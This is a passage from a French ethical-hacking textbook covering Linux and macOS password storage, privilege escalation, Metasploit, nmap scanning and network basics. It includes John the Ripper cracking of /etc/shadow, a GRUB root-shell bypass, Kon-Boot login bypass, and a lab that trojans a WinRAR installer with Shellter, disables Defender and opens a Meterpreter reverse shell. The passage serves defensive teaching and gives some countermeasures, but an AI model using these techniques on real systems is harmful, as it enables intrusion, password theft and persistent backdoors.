algorithme de chiffrement symétrique. Il est donc possible de retrouver le mot de passe à partir de
l’information chiffrée et du sel… Ce n’est donc pas l’idéal. De plus, une loi américaine limitait la taille
des clés pour des produits destinés à l’exportation, donc la robustesse du chiffrement. Il a donc été
décidé de changer de mécanisme.
Les mots de passe, d’une longueur maximum de 22 caractères, ont ensuite été hachés 5000 fois avec
MD5 (fonction de hachage) avec un sel de 48 bits. Une fonction de hachage étant irréversible, il est
impossible de retrouver le mot de passe à partir de l’information stockée.
Actuellement, les distributions Linux proposent SHA-512 comme fonction de hachage par défaut. La
configuration du système est définie dans /etc/pam.d/common-password.
De plus, les mots de passe ne sont plus stockés dans /etc/paswd étant donné que ce dernier est
accessible en lecture par tous les utilisateurs :
#ls -al /etc/passwd
-rw-r--r-- 1 root root 1367 Mar 27 11:00 /etc/passwd
L’exemple ci-dessous montre le contenu du fichier shadow avec les caractéristiques suivantes :
La date de la dernière modification du mot de passe (nombre de jours depuis le 1er janvier
1970).
Le nombre de jours durant lesquels l’utilisateur sera informé de l’expiration prochaine de son
mot de passe s’il se connecte au système.
Restrict
ed
Le nombre de jours avant la désactivation d’un compte avec mot de passe expiré.
# cat /etc/shadow
root@kali-1:/# cat /etc/shadow
root : $6$Db.jGNb0$ftAcfd/xtOEwYkl0cGuL0pE2jxFI9O44tuthLdBap/
Zwuggbktu/5Z7ZgpMyaGnHwtsr/Txn3iJxSncYufyNW.:17433:0:99999:7:::
L’utilisation du salage impose un calcul différent de l’empreinte par mot de passe. L’utilisation de
rainbow tables n’est pas possible sous Linux. Dans une attaque par la force brute ou en brute force, il
faut calculer et tester toutes les combinaisons du dictionnaire utilisé. Il en existe de nombreux sur
Internet et certains sont déjà installés, comme le dictionnaire de la langue française contenu dans le
fichier /usr/share/dict/french.
Pour changer le mot de passe de l’utilisateur Laurent, ouvrez une ligne de commandes et tapez :
passwd Laurent
Si vous avez un certain nombre de mots de passe à générer, il existe des générateurs respectant les
règles énoncées plus haut comme APG sous GNU/Linux. Pour générer très simplement vingt mots de
passe en ligne de commande :
apg -n 20.
Pour changer d’identité, il faut utiliser la commande su (switch user), suivie de l’identifiant de
l’identité à prendre. Si c’est le compte root, il n’est pas nécessaire de le mentionner. Le mot de passe
est alors demandé.
Pour exécuter une commande, il est possible d’ajouter l’option -c suivie de la commande.
Le mot de passe administrateur ne peut forcément pas être donné à tous, mais ses permissions
restent nécessaires. L’exemple le plus courant est pour le fichier shadow. Ce fichier n’est en effet
lisible et modifiable que par l’administrateur du système. Pourtant, vous pouvez très bien changer
vous-même votre mot de passe, avec la commande passwd sans vous identifier en tant
qu’administrateur. En fait, pendant un très court laps de temps (l’écriture du nouveau mot de passe
dans le fichier shadow), vous êtes administrateur dans ce contexte très restreint : vous ne pouvez
rien faire d’autre en théorie.
Le programme shadow possède en effet une permission spéciale : suid, visible avec la commande ls -l
/usr/bin/passwd. Le x du propriétaire pour l’exécution a été remplacé par un s, pour "suid". Cela
signifie que le programme s’exécute sous l’identité du propriétaire du fichier, ici en l’occurrence root,
sans nécessité d’authentification.
Restrict
ed
Élévation de privilèges sous Linux
On comprend alors pourquoi seul root peut changer le propriétaire d’un fichier. Il serait facile de
créer des scripts personnels s’exécutant avec les droits administrateurs.
Et le sgid par :
Les programmes suid sont donc très surveillés, tant du côté des développeurs que de celui des
attaquants. En effet, une vulnérabilité compromet directement la sécurité du système.
Il suffit alors d’auditer les programmes trouvés, à la recherche d’une faille. Il est judicieux de
désinstaller les programmes inutiles fournissant des programmes suid. En effet, le système court un
danger supplémentaire inutile.
Restrict
ed
6. Le changement de racine ou chrooting
Le but est de substituer la racine du système par un autre chemin pour un processus donné. Dès que
l’exécution aura débuté, le processus pensera que la racine est ce chemin et ne pourra
théoriquement pas remonter dans l’arborescence. Ceci est très pratique pour sécuriser un service.
Même si le service est vulnérable et a été exploité par un attaquant, ce dernier se retrouve coincé
dans /prison. Il ne peut donc pas accéder aux données de /etc, par exemple.
Malheureusement, dans certains cas, il est possible de sortir du chroot. Par exemple, si le
programme "chrooté" a les privilèges pour monter des disques, la vraie racine peut être remontée
dans l’environnement protégé. La protection ne tient donc plus.
Pour des services vraiment critiques, il peut alors être plus judicieux de se tourner vers une
virtualisation plus complète.
7. Les logs
Sous Unix, ils sont classés par services, dans des fichiers textes, dans /var/log. Les messages du
système sont aussi consultables en console via la commande dmesg.
Il n’y a pas de méthodologie, cela dépend de votre système, mais la plupart des distributions
intègrent des logiciels qui se chargent de cette tâche. Reportez-vous à sa documentation.
9. Cas pratiques
John the Ripper permet de casser les mots de passe. Pour des raisons de facilité, dans l’exemple ci-
dessous le compte administrateur (root) a été utilisé.
Une attaque en pure "brute force" s’effectue par la commande john /etc/shadow.
Essayez ces deux méthodes et vous verrez la différence, significative en termes de temps, pour
trouver le mot de passe !
Restrict
ed
b. GRUB
Cela dit, Linux n’est pas sans failles, il suffit de citer pour s’en convaincre la fameuse faille du GRUB
(https://www.dedoimedo.com/computers/grub-2.html). Le GRUB2 sous Linux est ce que l’on appelle
un bootloader, c’est-à-dire qu’il permet de choisir entre le démarrage de plusieurs systèmes installés
sur la machine. Il permettra par exemple de choisir entre le démarrage de Linux ou de Windows.
Le bootloader GRUB
En fait, il est facile d’éditer le GRUB en tapant tout simplement la lettre e (éditer) au démarrage de
celui-ci. Éditez la deuxième ligne et changez ro (read only) en rw (read-write) et
ajoutez init=/bin/bash. Appuyez sur la touche [F10] pour continuer le démarrage de l’ordinateur. Une
console en invite root (super-utilisateur) apparaît ensuite.
Édition du GRUB
Restrict
ed
Modification du GRUB
La contre-mesure est facile à mettre en œuvre, il suffit en fait de mettre un mot de passe sur le
GRUB2 pour empêcher son édition.
Dans /boot/grub/grub.cfg, juste avant ### BEGIN /etc/grub.d/10_linux ###, il faut ajouter les lignes
suivantes :
set superusers="acissi"
Cela suffit déjà à empêcher l’édition du menu de boot. Ensuite, il faut faire la même chose pour le
mode rescue à la ligne :
menuentry 'Ubuntu, avec Linux 2.6.32-25-generic (mode de récupération)'
--class ubuntu --class gnu-linux --class gnu --class os --users acissi {
macOS X
1. Gestion des utilisateurs
Rendez-vous dans le menu Pomme - Préférences système, puis Utilisateurs et groupes. Il pourra
être nécessaire de déverrouiller le panneau en cliquant sur le cadenas situé en bas à gauche, puis en
saisissant un mot de passe administrateur.
L’ajout et la suppression d’un groupe ou d’un compte utilisateur se font respectivement avec les
boutons + et -. Dans le cas d’un ajout, il suffit de sélectionner dans la liste déroulante Nouveau le
type de compte : groupe, administrateur ou simple utilisateur. Notez qu’il est possible d’activer ici le
chiffrement du répertoire personnel, permettant d’éviter la lecture de vos fichiers à partir d’un autre
compte utilisateur ou d’un autre système d’exploitation.
Restrict
ed
Les utilisateurs sous OS X
Bien évidemment, vous pouvez effectuer toutes ces tâches en ligne de commande avec l’outil de
gestion d’annuaire DSL.
Restrict
ed
source : https://smallbusiness.chron.com/add-user-terminal-mac-os-x-screen-sharing-31846.html
macOS X est un système basé sur BSD, une variante d’Unix. Cependant, il ne stocke pas ses mots de
passe de la même façon : ce n’est pas dans un fichier /etc/shadow ou /etc/master.passwd. En effet,
macOS associe à chaque utilisateur un fichier shadow. L’ensemble des fichiers est situé dans le
répertoire /var/db/shadow. Les fichiers sont nommés avec l’identifiant unique global (GUID) attribué
à chacun des utilisateurs et seul un administrateur est en mesure de les lire.
Depuis la version 10.6, les empreintes ont été déplacées en tant qu’attribut de la base de données
principale des utilisateurs dans /var/db/dslocal/nodes/Default/users/<username>.plist. Il est possible
de les obtenir via la commande suivante :
L’algorithme de hachage est passé de SHA1 à SHA512, couplé avec un salage sur 4 bits.
La première étape consiste à récupérer les utilisateurs et leur GUID. Pour interroger la base de
données des utilisateurs système, il est possible d’utiliser l’outil en ligne de commandes dsl :
Il faut ensuite séparer les deux éléments. Attention, la longueur de ceux-ci varie en fonction des
versions de l’OS. Il reste enfin à comparer l’empreinte à des dictionnaires SHA512 pour trouver le
mot de passe.
Vous pouvez utiliser la commande passwd ou vous rendre dans le menu Pomme - Préférences
système, puis Utilisateurs et groupes. Sélectionnez votre compte dans la liste Mon compte et cliquez
sur Modifier le mot de passe.
Restrict
ed
Vous n’avez pas d’inspiration ? Cliquez sur le bouton avec la clé et une interface vous assiste dans le
choix d’un bon mot de passe.
En raison de sa base Unix, il est possible de gérer les droits comme sous GNU/Linux sous macOS X.
Cependant, les ACL sont également disponibles. En ligne de commande, il suffit d’utiliser la
commande système chmod (se référer à sa page man pour plus d’informations).
En mode graphique, il faut utiliser le finder et l’option Lire les informations, accessible via le
raccourci [Pomme] + I. Il pourra être nécessaire de déverrouiller le panneau en cliquant sur le
cadenas situé en bas à droite, puis en saisissant un mot de passe administrateur.
5. Les logs
Sous macOS X, vous pouvez consulter les journaux avec l’outil Console qui se trouve dans le
menu Outils des applications.
macOS X recherche par défaut les mises à jour, mais vous pouvez régler leur fréquence via le
panneau Mise à jour de logiciels dans les Préférences système.
Pour utiliser un outil comme MSF, il faut comprendre les notions suivantes :
Restrict
ed
Vulnérabilité : c’est une faille dans un code informatique provenant d’une erreur de
conception ou d’implémentation fragilisant le système. Lorsque ces dernières sont
découvertes, elles sont identifiées, classées suivant leur sévérité et publiées sous forme
de CVE (Common Vulnerabilities and Exposures). Le lien suivant permet de visualiser les
dernières vulnérabilités concernant Windows 10 : https://www.cvedetails.com/vulnerability-
list/vendor_id-26/product_id-32238/Microsoft-Windows-10.html
Payload : c’est un programme permettant d’interagir sur le système cible afin d’en prendre le
contrôle ou de le déstabiliser. Meterpreter est un des plus populaires, il permet entre autres
de créer, de modifier, de supprimer, de télécharger des fichiers vers ou depuis la machine
cible. Il permet de capturer les frappes-clavier, de figer le fond d’écran, et de supprimer ou
créer des processus.
Post : c’est un module complémentaire utilisé après l’exploitation pour récupérer des
preuves ou basculer vers d’autres machines du réseau (pivoting).
Metasploit est déjà installé sous Kali, mais voici comment installer Metasploit sous Debian :
# cd /opt
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/
master/config/templates/metasploit-
framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
# msfupdate
MSF utilise une base de données pour stocker les résultats des reconnaissances. Il faut donc
l’initialiser :
# msfdb
Manage the metasploit framework database
msfdb init # start and initialize the database
msfdb reinit # delete and reinitialize the database
msfdb delete # delete database and stop using it
Restrict
ed
msfdb start # start the database
msfdb stop # stop the database
msfdb status # check service status
msfdb run # start the database and run msfconsole
Il faut maintenant démarrer l’outil Metasploit :
# msfconsole
...
=[ metasploit v5.0.26-dev ]
+ -- --=[ 1894 exploits - 1068 auxiliary - 329 post ]
+ -- --=[ 547 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion
Une fois dans le programme, il est possible de vérifier si la liaison avec la DB est fonctionnelle :
msf5 >workspace
* default
msf5 > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information
msf5 >workspace
default
* labo
La première étape est la reconnaissance, c’est-à-dire la phase où le Hacker essaie de collecter autant
d’informations que possible sur la cible. Cela comprend entre autres l’identification, la recherche
d’adresses IP et d’enregistrements DNS de la cible.
Restrict
ed
msf5 > nmap -Pn -A -oX rapport.xml 10.0.0.51-59
...
msf5 > db_import /root/rapport.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.3'
[*] Importing host 10.0.0.51
[*] Importing host 10.0.0.52
[*] Importing host 10.0.0.53
[*] Successfully imported /root/rapport.xml
Restrict
ed
10.0.0.11 3268 tcp ldap open Microsoft Windows Active Directory
LDAP Domain: formation.local,
Site: Default-First-Site-Name
10.0.0.11 3269 tcp tcpwrapped open
10.0.0.11 3389 tcp ms-wbt-server open Microsoft Terminal Services
10.0.0.52 135 tcp msrpc open Microsoft Windows RPC
10.0.0.52 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
10.0.0.52 445 tcp microsoft-ds open Windows 7 Professional 7601 Service
Pack 1 microsoft-ds workgroup:
FORMATION
10.0.0.53 135 tcp msrpc open Microsoft Windows RPC
Grâce aux informations fournies par les services en cours de fonctionnement, il est possible de
déduire que :
le port 445 de cette machine est certainement filtré. La commande suivante permet de le
vérifier :
Généralement, une machine Windows Active Directory qui a le service DNS activé a également le
service DHCP. Pour le vérifier :
msf5 > db_nmap -sU -p 67 --script=dhcp-discover 10.0.0.11
msf5 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.0.0.11 67 udp dhcps open
La commande suivante permet de vérifier s’il existe des vulnérabilités connues en SMB pour les trois
machines Windows du réseau :
Restrict
ed
Comme toutes les machines sont à jour, aucune faille ne sera trouvée.
Pour illustrer la suite, il faut placer un cheval de Troie dans un exécutable 32 bits avec
l’utilitaire Shellter.
# apt update
# apt install shellter
Téléchargez un programme 32 bits (par exemple winrar version 5.71).
# cd/usr/share/shellter/
# wine shellter.exe
Dans Shellter, exécutez les opérations suivantes :
Sélectionner L (pour list) pour indiquer que vous allez faire une sélection dans la liste.
Il suffit ensuite de mettre le fichier à disposition sur un serveur web. Par exemple, le serveur Apache
disponible par défaut sur Kali).
# cp wrar571.exe /var/www/html
Démarrez le serveur web :
# msfconsole
Sélectionnez l’exploit :
msf5 > use exploit/multi/handler
Sélectionnez le payload :
Restrict
ed
Définissez les options (le port d’écoute et l’adresse IP de l’interface qui va recevoir la demande de
connexion) :
msf5 > set LPORT 8080
msf5 > set LHOST 10.10.10.51
Cette attaque est maintenant détectée par l’antivirus intégré à Windows. Il faut donc le désactiver
temporairement avec les manipulations suivantes :
À l’exécution, Windows indique que l’application n’est pas signée par un éditeur connu. Il faut
choisir Exécuter quand même et autoriser l’élévation de privilèges.
Restrict
ed
Logged On Users : 7
Meterpreter : x86/windows
C:\Users\socrate.FORMATION\Downloads>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le numéro de série du volume est D237-3C9E
Répertoire de C:\Users\socrate.FORMATION\Downloads
C:\Users\socrate.FORMATION\Downloads>
Idéalement, il faut rendre le cheval de Troie persistant en le transférant sur un processus activé à
chaque démarrage, récupérer les informations utiles, effacer ses traces et pivoter vers une autre
machine du réseau.
1. Cas pratique
Bypass authentification
Kon-Boot est un petit programme écrit en Assembleur et multiplateforme qui permet le bypass de
l’authentification sous Windows et macOS X (https://kon-boot.com/).
La suite est très simple, il suffit de booter sur le CD Kon-Boot et de le laisser s’exécuter.
Restrict
ed
Kon-Boot va contourner l’authentification, lancer l’OS, et afficher l’écran d’ouverture de session. Il ne
reste plus alors qu’à cliquer sur le compte désiré et la session s’ouvrira sans demander de mot de
passe !
"Je vous assure qu’aucune autre entreprise n’est plus engagée, plus transparente et à l’écoute des
clients sur ce sujet important…
Dès le début, nous avons conçu Windows 10 avec deux principes simples de confidentialité à l’esprit :
Windows 10 collecte des informations pour que le produit fonctionne mieux pour vous.
Avec Windows 10, les informations que nous collectons sont chiffrées durant le transit vers nos
serveurs, puis stockées dans des installations sécurisées."
Nous avons voulu mener notre propre expérience. Deux machines virtuelles identiques ont subi la
même installation de Windows 10. Sur la première aucune modification n’a été réalisée tandis que la
seconde a été modifiée afin de réduire les échanges d’informations.
Aucune installation de logiciel tiers n’a été effectuée et personne ne s’est connecté sur les postes de
travail hormis pour faire l’installation de Windows 10.
Une capture du trafic réseau a été réalisée sur les machines durant trois heures.
Téléchargement de nouvelles informations à partir du réseau de MSN en HTTP (non chiffré !).
Donc le prix à payer pour utiliser les services comme Cortana, OneDrive… est la perte de
confidentialité !
Restrict
ed
la géolocalisation ;
la télémétrie ;
…
Afin de réduire le trafic, il a fallu désactiver des services, désinstaller des applications et des mises à
jour de Microsoft !
Le plus dérangeant est que certains envois semblent contenir une identification et que le but même
de ces collectes d’informations n’est pas défini !
https://www.justgeek.fr/windows-10-desactiver-la-collecte-de-donnees-43324/
https://arstechnica.co.uk/information-technology/2015/08/even-when-told-not-to-
windows-10-just-cant-stop-talking-to-microsoft/
https://arstechnica.com/information-technology/2015/08/windows-10-doesnt-offer-much-
privacy-by-default-heres-how-to-fix-it/
Restrict
ed
Conclusion
Il pourrait être dangereux de laisser libre accès à son ordinateur. Que ce soit le vol de mots de passe
ou l’injection de programmes malveillants, tout est possible dès lors que l’accès à la machine est
autorisé. Il existe encore bien d’autres pratiques pour récupérer des données sur une machine
accessible physiquement, mais ce chapitre donne un aperçu des méthodes les plus usitées.
L’important est d’être sensibilisés à ce problème et de respecter les règles de bon sens suivantes :
Fermer la session de notre ordinateur en cas d’absence de courte durée ou l’arrêter pour les
longues durées.
Virtualiser.
Respecter ces règles, rendra plus difficile l’accès aux données sensibles et bien des ennuis seront
évités.
La sécurité des systèmes n’est pas chose aisée car la menace peut provenir de multiples sources.
Enfin, une surveillance active par les journaux système et des sauvegardes à jour sont vos garde-fous
en cas d’attaque.
Restrict
ed
Les failles réseaux
Généralités
Les réseaux actuels sont basés sur des normes qui datent de la création d’Internet. Les évolutions
technologiques et l’apparition de nouveaux médias ont ouvert de nouvelles brèches en plus des
failles résiduelles originelles.
Les failles réseau touchent le simple particulier comme la grande entreprise. Ce chapitre nous aidera
à appréhender quelques aspects du hacking au niveau réseau et des contre-mesures associées.
1. Le modèle OSI
L’écriture d’un programme unique gérant toutes les tâches nécessaires au fonctionnement d’un
réseau serait très complexe, voire un cauchemar pour la personne devant le réaliser ou le maintenir.
Aussi, à des fins de standardisation et de simplification, le modèle OSI (Open Standardization for
Interconnection) a été créé. Chaque couche joue son rôle et s’appuie sur les autres couches pour les
fonctionnalités qui ne sont pas de son ressort.
Dans les réseaux locaux actuels, les périphériques réseau sont très souvent reliés entre eux par une
liaison filaire de type Ethernet (norme 802.3x) ou sans fil Wi-Fi (802.11a/b/g/n/ac). Dans les deux cas,
la ou les cartes réseau présentes dans les périphériques sont identifiées individuellement par une
adresse appelée adresse MAC (Media Access Control). Cette adresse MAC est gérée au niveau de la
couche 2 du modèle OSI.
L’adresse MAC, développée pour fonctionner dans un réseau local (LAN), est uniquement utilisée en
local et l’information ne traverse pas les routeurs.
Restrict
ed
L’arrivée d’Internet change la donne en permettant de relier un ensemble de réseaux à la toile via
des routeurs. Le routeur, qui a pour tâche principale d’envoyer l’information dans la bonne direction
(vers le bon réseau), est un élément essentiel des réseaux modernes.
Il faut donc définir une autre information permettant d’identifier un périphérique et qui peut
traverser un routeur : c’est l’adresse IP. Un peu comme l’adresse postale détermine de manière
unique et non équivoque une habitation, une adresse IP identifie une interface dans un réseau (voire
même le périphérique si celui-ci ne possède qu’une interface).
La gestion des adresses IP est réalisée par la couche 3 du modèle OSI. En version 4, l’adresse IP
(Internet Protocol) est constituée de quatre nombres de 0 à 255 séparés par un point
(XXX.XXX.XXX.XXX). Dans l’exemple de la figure suivante, l’adresse IPv4 est 192.168.200.51.
Depuis, un nouveau protocole IPv6 permet entre autres d’augmenter considérablement le nombre
d’adresses IP disponibles. Une adresse IPv6 est longue de 128 bits et se compose de huit champs de
16 bits, chacun étant délimité par ":". Chaque champ est composé de nombres hexadécimaux
(nibble) allant de 1 à 4.
Bien souvent, bien que IPv4 reste le protocole le plus utilisé dans les réseaux internes des entreprises
sur les machines actuelles, IPv4 et IPv6 sont activés en même temps, ce qui double la surface
d’attaque. De plus, la configuration d’IPv6 est bien souvent négligée alors qu’IPv6 est prépondérant
par rapport à IPv4.
Un réseau (ou sous-réseau) représente généralement l’ensemble des machines situées dans une
même zone géographique comme une petite entreprise ou un réseau domestique, un département
ou service dans les réseaux plus importants.
Le schéma ci-dessous représente une porte "ET" (ou "AND"). Comme nous pouvons le voir, il faut
impérativement un signal "1" aux deux portes d’entrées A et B pour obtenir un signal "1" en sortie C.
Les masques les plus courants sont 255.255.255.0 (/24 : 24 bits à 1), 255.255.0.0 (/16) et 255.0.0.0
(/8).
Restrict
ed
Voici un exemple de calcul de sous-réseau :
Pour déterminer si un hôte est ou non dans le même sous-réseau qu’une machine, celle-ci
transforme l’adresse IP de destination en binaire et applique un ET logique entre cette adresse et son
masque. Si le résultat est identique à son sous-réseau, alors le périphérique de destination est dans
le même sous-réseau. Si le résultat est différent, alors la cible est sur un autre réseau. Exemples :
Machine source :
Machine 1 :
Machine 2 :
Tous les appareils situés sur un même réseau peuvent communiquer directement l’un avec l’autre
(sans passer par un routeur nommé passerelle) en utilisant la couche 2 du modèle OSI et sont connus
de tous via leur adresse MAC. La table ARP permet d’associer une adresse IPv4 à une adresse MAC et
est maintenue par le protocole ARP (Address Resolution Protocol).
La passerelle permet à un ordinateur de communiquer avec un autre dispositif qui n’est pas situé
dans son réseau. Autrement dit, lorsqu’un périphérique a des informations à transmettre à une
machine qui n’est pas dans son réseau, elle expédie ces données à sa passerelle de routage qui elle, a
en charge d’envoyer les données vers le destinataire.
4. TCP et UDP
TCP (Transmission Control Protocol) est un protocole orienté connexion, c’est-à-dire qu’il permet à
une application d’être sûre que les données envoyées sur le réseau ont bien été reçues dans leur
intégralité (entier, sans erreur et dans le bon ordre) sans devoir gérer cela elle-même. Pour cela, TCP
doit établir une connexion de bout en bout avec le destinataire et doit maintenir une table d’état de
Restrict
ed
tous ses flux de données qui entrent et sortent de la couche TCP. Malheureusement, pour fournir
cette qualité de service, il faut transmettre un grand nombre d’informations en plus des données
proprement dites.
Les mécanismes offerts par TCP ne sont pas toujours utiles ou appropriés, par exemple lorsqu’il y a
peu de données utiles à transmettre ou qu’une communication en temps réel est nécessaire. Pour ce
faire, un protocole de communication minimaliste a été créé : UDP (User Datagram Protocol),
protocole en mode non connecté.
De même que le nom du destinataire sur une lettre permet de connaître à qui est destiné le courrier
envoyé, un numéro de port permet d’identifier une application (ou plus exactement un service) dans
un ordinateur.
La liaison TCP ainsi établie (192.168.200.51:49846 - 173.194.65.91:443) est un circuit virtuel composé
de deux sockets : 192.168.200.51:49846 et 173.194.65.91:443. Un circuit unique est donc
l’association de deux sockets pour un protocole donné. Les numéros de port sont utilisés par la
couche 4 du modèle OSI par les protocoles TCP et UDP.
Les services sont répartis sur des ports numérotés de 1 à 65535 divisés en groupes par l’IANA
(Internet Assigned Numbers Authority) :
Restrict
ed
Port Type Service Les
21 TCP FTP
22 TCP SSH
23 TCP TELNET
25 TCP SMTP
53 TCP/UDP DOMAIN
80 TCP HTTP
445 TCP MS DS
ports "bien connus" et les ports "enregistrés" sont souvent exploités du côté serveur tandis que les
ports dynamiques sont utilisés en général du côté client.
Les adresses IP publiques sont gérées par l’ICANN (Internet Corporation for Assigned Names and
Numbers). Cet organisme attribue les adresses IP aux différents fournisseurs d’accès à Internet (FAI)
qui, à leur tour, les louent aux particuliers et entreprises afin de leur permettre de se connecter à
Internet.
Pour connaître son adresse IP publique, il existe des sites comme www.mon-ip.com.
Il existe des adresses publiques, utilisables sur Internet, comme celles utilisées par les FAI, et
des adresses privées qui ont comme particularité de ne pas être "routables". En effet, ces dernières
ne peuvent pas être acheminées (convention) par les routeurs dans la zone publique. Elles
constituent donc un moyen très simple de différencier la zone externe (non fiable) de la zone interne
(théoriquement fiable). Les notions d’adresse privée et de NAT (Network Address Translation) ont été
introduites dans les années 1990 afin de pallier le manque d’adresses IPv4.
Restrict
ed
Les adresses IPv4 publiques et privées
La plus utilisée est 127.0.0.1 qui correspond à "localhost" donc la machine locale.
automatiquement par le système d’exploitation si aucune configuration n’a été encodée par
l’utilisateur et qu’aucun serveur DHCP n’a été trouvé. Dans ce cas, les adresses IP sont dites
de liaison locale et appartiennent à la plage 169.254.0.0/16 (de 169.254.0.0 à
169.254.255.255).
Outils pratiques
netstat permet de connaître les services et ports ouverts sur votre machine, ainsi que les différents
états des connexions (Linux, OSX et Windows). Lancez :
netstat -a[nt]
-a Affiche toutes les connexions et tous les ports d'écoute.
-n Affiche des adresses et numéros de ports en format numérique.
-t Affiche l'état actuel de déchargement de la connexion.
Restrict
ed
Visualisation des sockets avec netstat sous Windows
deux connexions ont été établies vers des serveurs de Google (173.194.65.91 et
173.194.66.100) sur les ports 443 (HTTPS) ;
une connexion a été établie vers un serveur ENI (185.42.28.201) sur le port 80 (HTTP).
lsof permet de lister tous les fichiers ouverts. Tous les éléments du système étant considérés comme
des fichiers sous Linux, les sockets ne font pas exception à la règle. Lancez :
-i sélectionne les fichiers dont l’adresse Internet correspond à l’adresse spécifiée avec -i.
Cette commande permet de lister les connexions et les PID associés aux différents programmes en
fonctionnement.
Cet outil peut être très utile afin de connaître quel programme ouvre des sockets sur votre
ordinateur.
Restrict
ed
Visualisation des programmes ayant ouvert des sockets avec lsof
Pour avoir le même genre d’informations sous Windows, il faut utiliser TCP View de Mark
Russinovich. Toute la "Sysinternals Suite" est d’ailleurs très utile pour les administrateurs Windows.
Visualisation des programmes ayant ouvert des sockets avec TCP View
L’adresse IP 173.194.65.91 est enregistrée au nom de Google Inc. Cette information a été obtenue
par le serveur DNS ee-in-f91.1e100.net.
Nmap est un scanner de port. Cet outil incontournable permet de scanner un hôte ou un réseau afin
de déterminer si des machines sont présentes, quels ports sont ouverts, et même de trouver le
système d’exploitation cible.
Restrict
ed
Visualisation des ports ouverts sur sa machine locale avec nmap
nmap 127.0.0.1 permet de réaliser un scan des ports ouverts sur la machine locale. L’adresse
127.0.0.1 est une adresse logique de la machine locale (localhost) indépendante des interfaces
physiques. Les ports 22 et 111 sont ouverts en TCP.
b. Scanner un sous-réseau
Il existe plusieurs techniques pour scanner un réseau avec nmap. Nous allons utiliser un réseau de
test composé de plusieurs machines et périphériques et d’un IDS (Snort sous pfSense) avec une
configuration de base.
Afin de se rapprocher le plus possible d’un cas réel, la topologie du réseau ne sera pas dévoilée !
Le choix d’une technique de scan sera toujours un compromis entre efficacité et bruit. Autrement dit,
les techniques qui donnent le plus d’informations sont également les plus bruyantes (les plus
facilement repérables).
Nous allons tester quelques techniques en commençant par les plus évasives et regarder à chaque
fois les résultats dans l’IDS Snort ou dans les logs des différents OS (s’il y en a).
Restrict
ed
Facility : qui définit la source.
Les logs en provenance d’iptables sont toujours classés dans la "facility kern" (non
modifiable facilement).
Voici une technique pour ajouter un journal séparé pour les logs d’iptables :
$ sudo iptables -A INPUT -i eth0 -j LOG --log-level warning
La règle iptables ci-dessus permet d’enregistrer tous les paquets sur l’interface eth0 avec un niveau
"warning".
kern.=warning -/var/log/iptables.log
L’ajout de la ligne ci-dessus dans le fichier /etc/syslog.conf permet de copier les événements ayant
une sévérité "warning" dans un fichier spécifique /var/log/iptables.log.
Commençons le scan.
Les informations fournies par le serveur DHCP à la machine Kali vont servir de base :
root@kali:~# nmcli device show eth0
GENERAL.PÉRIPHÉRIQUE: eth0
GENERAL.TYPE: ethernet
GENERAL.ADR.-MAT.: 00:0C:29:63:29:7D
GENERAL.MTU: 1500
GENERAL.ÉTAT: 100 (connecté)
GENERAL.CONNEXION: Wired connection 1
GENERAL.CON-PATH: /org/freedesktop/NetworkManager/
ActiveConnection/0
WIRED-PROPERTIES.PORTEUSE: marche
IP4.ADRESSE[1]: 192.168.0.52/24
IP4.PASSERELLE: 192.168.0.254
IP4.DNS[1]: 192.168.0.11
IP4.DOMAINE[1]: formation.local
IP6.ADRESSE[1]: fe80::20c:29ff:fe63:297d/64
IP6.PASSERELLE:
IPv6 n’est pas utilisé sur le réseau hormis l’adresse unique locale unicast générée automatiquement
(EUI-64).
Restrict
ed
c. Scanner un réseau sans communiquer directement avec la cible
La découverte des machines (-sL : list scan) permet de détecter des machines de manière "passive"
(sans communiquer directement avec les machines cibles) en utilisant le mécanisme du DNS. Le
système de noms de domaine (DNS) met en corrélation les noms de domaine avec les adresses IP en
utilisant différents enregistrements. Un enregistrement "A" fournit l’adresse IPv4 associée à un nom
de domaine et un enregistrement de pointeur DNS (PTR) fournit le nom de domaine associé à une
adresse IPv4. La recherche DNS inversée est utilisée lorsqu’une requête recherche le nom de
domaine associé à une adresse IPv4.
En 4 centièmes de seconde, les machines 192.168.0.11 et 192.168.0.51 ont été trouvées et l’IDS n’a
rien remarqué d’anormal puisque le trafic généré est totalement standard.
Une requête ARP who has ? (si la cible est dans le même sous-réseau).
Restrict
ed
Scan No Port Scan
root@kali:~# nmap -sN 192.168.0.0-254
Les adresses MAC indiquent que la majorité des machines sont virtuelles. Si ces dernières avaient été
physiques, les adresses MAC auraient donné des indications sur le fabricant du matériel.
Restrict
ed
L’indication "scanned ports … are open|filtered" permet de supposer la présence d’un pare-feu ou
d’une machine Windows, tandis que l’indication "scanned ports … are closed" indique généralement
la présence d’une machine Linux.
Le port 111 indique qu’il s’agit très certainement d’une machine Linux ou SUN. En effet, le protocole
ONC RPC (Open Network Computing Remote Procedure Call) ou SUN RPC utilise le port 111. Il a une
fonction similaire à DCOM DCE sous Windows (port 135).
La connexion TCP n’est pas initiée totalement ("semi-ouverte"). Les ports sont donc ouverts puis
fermés immédiatement après la connexion par le noyau laissant moins de traces dans les logs des
pare-feu et les IDS. Ce n’est plus vraiment le cas de nos jours.
Restrict
ed
TCP SYN scan sur un port filtré
Il faut être "root" sur la machine source afin de pouvoir envoyer des données brutes (raw) sur le
réseau.
L’option -f fragmente les paquets afin de rendre plus difficile la détection du type de paquet par le
pare-feu, tandis que l’option --reason affiche la cause de l’état d’un port.
Nmap utilise par défaut le SYN scan mais optera automatiquement pour le Connect scan si
l’utilisateur ne dispose pas des droits suffisants.
Le scan est visible dans les logs des pare-feu parmi les autres événements enregistrés. Voici un
exemple sous Windows :
2017-04-29 20:36:04 DROP TCP 192.168.0.52 192.168.0.51 51560 445 44 - 0 0 0 - - - RECEIVE
2017-04-29 20:36:05 DROP TCP 192.168.0.52 192.168.0.51 51561 445 44 - 0 0 0 - - - RECEIVE
